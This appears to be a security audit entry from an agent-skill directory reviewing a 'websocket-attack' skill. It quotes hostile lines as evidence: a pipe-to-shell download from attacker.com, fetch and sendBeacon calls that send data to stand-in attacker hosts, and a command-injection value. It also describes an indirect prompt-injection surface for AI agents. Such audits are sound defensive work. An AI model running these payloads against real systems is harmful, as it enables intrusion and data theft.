The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill provides exploit payload templates that demonstrate executing remote scripts by piping network requests directly into a shell interpreter.
Evidence: curl attacker.com/shell.sh|sh is provided as an RCE payload example in references/websocket-exploitation.md.
[DATA_EXFILTRATION]: Multiple exploit examples facilitate the exfiltration of intercepted data to external servers controlled by the attacker.
Evidence: fetch("http://evil.com/log?d=" + encodeURIComponent(e.data)) in SKILL.md.
Evidence: navigator.sendBeacon("https://attacker.com/collect", ...) in references/websocket-exploitation.md.
[EXTERNAL_DOWNLOADS]: The skill references and encourages the download of security tools and scripts from several unknown third-party GitHub repositories.
Evidence: Links to github.com/PalindromeLabs/STEWS, github.com/skepticfx/wshook, and github.com/0ang3el/websocket-smuggle.git.
Note: Fetches configuration and tools from BishopFox's official GitHub repository, a well-known security organization.
[COMMAND_EXECUTION]: The skill includes shell command injection payloads intended for testing target systems.
Evidence: {"action":"ping","host":"127.0.0.1; cat /flag.txt"} in SKILL.md.
[INDIRECT_PROMPT_INJECTION]: The skill establishes an attack surface by processing untrusted WebSocket message data and target URLs without explicit sanitization or boundary markers.
Ingestion points: WebSocket message content (e.data) and target URLs processed in SKILL.md.
Boundary markers: Absent; there are no instructions for the agent to treat incoming socket data as untrusted or to use specific delimiters.
Capability inventory: The skill utilizes http_request capabilities to interact with potentially malicious WebSocket endpoints.
Sanitization: Absent; the instructions prioritize the generation and injection of payloads rather than the validation of external data.

websocket-attack